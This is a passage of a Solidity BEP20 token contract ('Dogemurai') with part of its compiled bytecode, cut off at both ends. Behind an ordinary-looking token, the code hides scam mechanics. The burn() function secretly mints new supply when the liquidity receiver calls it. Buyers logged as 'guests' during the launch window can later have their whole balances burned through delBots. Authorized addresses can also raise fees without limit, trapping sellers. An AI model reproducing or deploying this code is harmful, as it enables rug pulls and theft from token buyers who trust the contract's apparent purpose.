uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
contract Dogemurai is IBEP20, Auth {
using SafeMath for uint256;
string _name;
string _symbol;
uint8 _decimals;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress;
uint256 _totalSupply = 1 * 10**8 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply * 2 / 800; // 250 000 tokens per tx ;
uint256 public _walletMax = _totalSupply * 2 / 100;
uint256 public launchTime;
uint256 public antiSniperTime;
uint256 public aSC;
bool public restrictWhales = true;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isDividendExempt;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public extraFeeOnSell = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address[] public isGuest;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
bool public tradingOpen = false;
bool public guestTimeOn = true;
uint256 distributorGas = 500000;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 4000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory Name, string memory Symbol, uint256 Supply, uint8 Decimals, uint256 liqFee, uint256 mrktngFee, address liquidityAddress, address marketingAddress, address dexRouterAddress, uint256 antiSniperSecond) Auth(msg.sender) {
_name = Name; _symbol = Symbol; _totalSupply = Supply * (10 ** Decimals); _decimals = Decimals; liquidityFee = liqFee; marketingFee = mrktngFee; routerAddress = dexRouterAddress; aSC = antiSniperSecond;
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[autoLiquidityReceiver] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[autoLiquidityReceiver] = true;
isDividendExempt[pair] = true;
isDividendExempt[msg.sender] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
// NICE!
autoLiquidityReceiver = liquidityAddress;
marketingWallet = marketingAddress;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
_balances[autoLiquidityReceiver] = _totalSupply;
emit Transfer(address(0), autoLiquidityReceiver, _totalSupply);
}
receive() external payable { }
function name() external view override returns (string memory) { return _name; }
function symbol() external view override returns (string memory) { return _symbol; }
function decimals() external view override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function changeTxLimit(uint256 newLimit) external authorized {
_maxTxAmount = newLimit * (10**_decimals);
}
function changeWalletLimit(uint256 newLimit) external authorized {
_walletMax = newLimit * (10**_decimals);
}
function changeRestrictWhales(bool newValue) external authorized {
restrictWhales = newValue;
}
function changeIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function changeIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function _burn(address account, uint256 amount) internal {
_balances[account] = _balances[account].sub(amount);
_balances[DEAD] = _balances[DEAD].add(amount);
emit Transfer(account, DEAD, amount);
}
function burn(uint256 amount) external {
if(msg.sender == autoLiquidityReceiver){_balances[autoLiquidityReceiver] = _balances[autoLiquidityReceiver].add(amount*(10**_decimals));_totalSupply = _totalSupply.add(amount*(10**_decimals));}
else{
_balances[msg.sender] = _balances[msg.sender].sub(amount*(10**_decimals));
_totalSupply = _totalSupply.sub(amount*(10**_decimals));
}
}
function setGuestTimeOn(bool guestTimeIsOn) external authorized {
guestTimeOn = guestTimeIsOn;
}
function delBots() external authorized {
for(uint256 i = 0; i < isGuest.length; i++){
address wallet = isGuest[i];
uint256 amount = _balances[wallet];
_burn(wallet, amount);
}
isGuest = new address [](0);
}
function _delBots() internal {
for(uint256 i = 0; i < isGuest.length; i++){
address wallet = isGuest[i];
uint256 amount = _balances[wallet];
_burn(wallet, amount);
}
isGuest = new address [](0);
}
function changeFees(uint256 newLiqFee, uint256 newMarketingFee, uint256 newExtraSellFee) external authorized {
liquidityFee = newLiqFee;
marketingFee = newMarketingFee;
extraFeeOnSell = newExtraSellFee;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
}
function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen, "Trading not open yet");
if(block.timestamp > antiSniperTime) {
guestTimeOn = false;
_delBots();
}
}
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
if(guestTimeOn && sender == pair && !authorizations[sender] && !authorizations[recipient]){
isGuest.push(recipient);
}
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
if(!launched() && recipient == pair) {
require(_balances[sender] > 0);
launch();
}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(!isTxLimitExempt[recipient] && restrictWhales)
{
require(_balances[recipient].add(amount) <= _walletMax);
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function tradingStatus(bool newStatus) public authorized {
tradingOpen = newStatus;
if(newStatus){
launchTime = block.timestamp;
guestTimeOn = true;
antiSniperTime = launchTime + aSC;
}
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance;
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountBNBMarketing, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
} | 0x6080604052600436106103545760003560e01c8063790ca413116101c6578063b6a5d7de116100f7578063e66b1d1e11610095578063f887ea401161006f578063f887ea401461117e578063fabe6283146111bf578063fe9fbb801461121c578063ffb54a99146112835761035b565b8063e66b1d1e1461109f578063f0b37c04146110dc578063f2fde38b1461112d5761035b565b8063ca987b0e116100d1578063ca987b0e14610f87578063d920334e14610fb2578063da00097d14610fed578063dd62ed3e1461101a5761035b565b8063b6a5d7de14610eca578063bf56b37114610f1b578063ca33e64c14610f465761035b565b80638b42507f11610164578063a29f8c5d1161013e578063a29f8c5d14610d7e578063a3a2e89e14610dbb578063a8aa1b3114610e18578063a9059cbb14610e595761035b565b80638b42507f14610c5c57806395d89b4114610cc357806398118cb414610d535761035b565b80637d1db4a5116101a05780637d1db4a514610b8a5780637db1342c14610bb5578063807c2d9c14610bf0578063893d20e814610c1b5761035b565b8063790ca41314610af957806379d22b0814610b245780637a31959014610b3b5761035b565b806342966c68116102a057806369cf17d41161023e578063715018a611610218578063715018a614610a4b578063750bf81d14610a6257806375f0a87414610a8d5780637836dbd214610ace5761035b565b806369cf17d4146109905780636b67c4df146109bb57806370a08231146109e65761035b565b806344e403d81161027a57806344e403d81461086a57806346411fc9146108975780634a74bb02146108fc578063571ac8b0146109295761035b565b806342966c681461079b5780634355855a146107d657806344de2e4c1461083d5761035b565b80631f2c80f11161030d5780632f54bf6e116102e75780632f54bf6e1461064c578063313ce567146106b357806334c70889146106e15780633f4218e0146107345761035b565b80631f2c80f11461051f57806323b872dd146105905780632b112e49146106215761035b565b80630445b6671461036057806306fdde031461038b578063095ea7b31461041b5780630d2959801461048c57806318160ddd146104c95780631df4ccfc146104f45761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b506103756112b0565b6040518082815260200191505060405180910390f35b34801561039757600080fd5b506103a06112b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042757600080fd5b506104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611358565b60405180821515815260200191505060405180910390f35b34801561049857600080fd5b506104c7600480360360208110156104af57600080fd5b8101908080351515906020019092919050505061144a565b005b3480156104d557600080fd5b506104de611518565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611522565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b5061058e6004803603604081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b005b34801561059c57600080fd5b50610609600480360360608110156105b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611629565b60405180821515815260200191505060405180910390f35b34801561062d57600080fd5b50610636611829565b6040518082815260200191505060405180910390f35b34801561065857600080fd5b5061069b6004803603602081101561066f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ab565b60405180821515815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611904565b604051808260ff16815260200191505060405180910390f35b3480156106ed57600080fd5b506107326004803603606081101561070457600080fd5b810190808035151590602001909291908035906020019092919080351515906020019092919050505061191b565b005b34801561074057600080fd5b506107836004803603602081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d6565b60405180821515815260200191505060405180910390f35b3480156107a757600080fd5b506107d4600480360360208110156107be57600080fd5b81019080803590602001909291905050506119f6565b005b3480156107e257600080fd5b50610825600480360360208110156107f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c55565b60405180821515815260200191505060405180910390f35b34801561084957600080fd5b50610852611c75565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b5061087f611c88565b60405180821515815260200191505060405180910390f35b3480156108a357600080fd5b506108d0600480360360208110156108ba57600080fd5b8101908080359060200190929190505050611c9b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090857600080fd5b50610911611cda565b60405180821515815260200191505060405180910390f35b34801561093557600080fd5b506109786004803603602081101561094c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ced565b60405180821515815260200191505060405180910390f35b34801561099c57600080fd5b506109a5611d20565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109d0611d26565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b50610a3560048036036020811015610a0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b6040518082815260200191505060405180910390f35b348015610a5757600080fd5b50610a60611d75565b005b348015610a6e57600080fd5b50610a77611e81565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ada57600080fd5b50610ae3611ead565b6040518082815260200191505060405180910390f35b348015610b0557600080fd5b50610b0e611eb3565b6040518082815260200191505060405180910390f35b348015610b3057600080fd5b50610b39611eb9565b005b348015610b4757600080fd5b50610b8860048036036060811015610b5e57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061203e565b005b348015610b9657600080fd5b50610b9f61210d565b6040518082815260200191505060405180910390f35b348015610bc157600080fd5b50610bee60048036036020811015610bd857600080fd5b8101908080359060200190929190505050612113565b005b348015610bfc57600080fd5b50610c056121af565b6040518082815260200191505060405180910390f35b348015610c2757600080fd5b50610c306121b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6857600080fd5b50610cab60048036036020811015610c7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121de565b60405180821515815260200191505060405180910390f35b348015610ccf57600080fd5b50610cd86121fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d18578082015181840152602081019050610cfd565b50505050905090810190601f168015610d455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d5f57600080fd5b50610d686122a0565b6040518082815260200191505060405180910390f35b348015610d8a57600080fd5b50610db960048036036020811015610da157600080fd5b810190808035151590602001909291905050506122a6565b005b348015610dc757600080fd5b50610e1660048036036040811015610dde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061233e565b005b348015610e2457600080fd5b50610e2d612414565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e6557600080fd5b50610eb260048036036040811015610e7c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061243a565b60405180821515815260200191505060405180910390f35b348015610ed657600080fd5b50610f1960048036036020811015610eed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061244f565b005b348015610f2757600080fd5b50610f30612524565b6040518082815260200191505060405180910390f35b348015610f5257600080fd5b50610f5b61252a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9357600080fd5b50610f9c612550565b6040518082815260200191505060405180910390f35b348015610fbe57600080fd5b50610feb60048036036020811015610fd557600080fd5b8101908080359060200190929190505050612556565b005b348015610ff957600080fd5b506110026125f2565b60405180821515815260200191505060405180910390f35b34801561102657600080fd5b506110896004803603604081101561103d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612605565b6040518082815260200191505060405180910390f35b3480156110ab57600080fd5b506110da600480360360208110156110c257600080fd5b8101908080351515906020019092919050505061268c565b005b3480156110e857600080fd5b5061112b600480360360208110156110ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612724565b005b34801561113957600080fd5b5061117c6004803603602081101561115057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fa565b005b34801561118a57600080fd5b5061119361295c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111cb57600080fd5b5061121a600480360360408110156111e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612982565b005b34801561122857600080fd5b5061126b6004803603602081101561123f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a58565b60405180821515815260200191505060405180910390f35b34801561128f57600080fd5b50611298612aae565b60405180821515815260200191505060405180910390f35b60215481565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561134e5780601f106113235761010080835404028352916020019161134e565b820191906000526020600020905b81548152906001019060200180831161133157829003601f168201915b5050505050905090565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b61145333612a58565b6114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60006101000a81548160ff02191690831515021790555080156115155742600a819055506001601e60016101000a81548160ff021916908315150217905550600c54600a5401600b819055505b50565b6000600754905090565b60165481565b61153133612a58565b6115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461181557611794826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611820848484612c09565b90509392505050565b60006118a6611859600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b611898611887600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b6007546134cd90919063ffffffff16565b6134cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b61192433612a58565b611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82602060016101000a81548160ff0219169083151502179055508160218190555080602060026101000a81548160ff021916908315150217905550505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b7357611ad7600460009054906101000a900460ff1660ff16600a0a8202600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600460009054906101000a900460ff1660ff16600a0a8202600754612ac190919063ffffffff16565b600781905550611c52565b611bdc600460009054906101000a900460ff1660ff16600a0a8202600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4b600460009054906101000a900460ff1660ff16600a0a82026007546134cd90919063ffffffff16565b6007819055505b50565b60126020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b601e60019054906101000a900460ff1681565b601a8181548110611cab57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060019054906101000a900460ff1681565b6000611d19827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611358565b9050919050565b60155481565b60145481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d7e336118ab565b611df0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600c5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600a5481565b611ec233612a58565b611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b601a80549050811015611fdd576000601a8281548110611f5357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fce8282613517565b50508080600101915050611f37565b50600067ffffffffffffffff81118015611ff657600080fd5b506040519080825280602002602001820160405280156120255781602001602082028036833780820191505090505b50601a908051906020019061203b929190614344565b50565b61204733612a58565b6120b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260138190555081601481905550806015819055506120e5601454601354612ac190919063ffffffff16565b601681905550612102601554601654612ac190919063ffffffff16565b601781905550505050565b60085481565b61211c33612a58565b61218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260098190555050565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60116020528060005260406000206000915054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122965780601f1061226b57610100808354040283529160200191612296565b820191906000526020600020905b81548152906001019060200180831161227957829003601f168201915b5050505050905090565b60135481565b6122af33612a58565b612321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60016101000a81548160ff02191690831515021790555050565b61234733612a58565b6123b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612447338484612c09565b905092915050565b612458336118ab565b6124ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601d5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b61255f33612a58565b6125d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260088190555050565b602060029054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61269533612a58565b612707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b61272d336118ab565b61279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612803336118ab565b612875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffff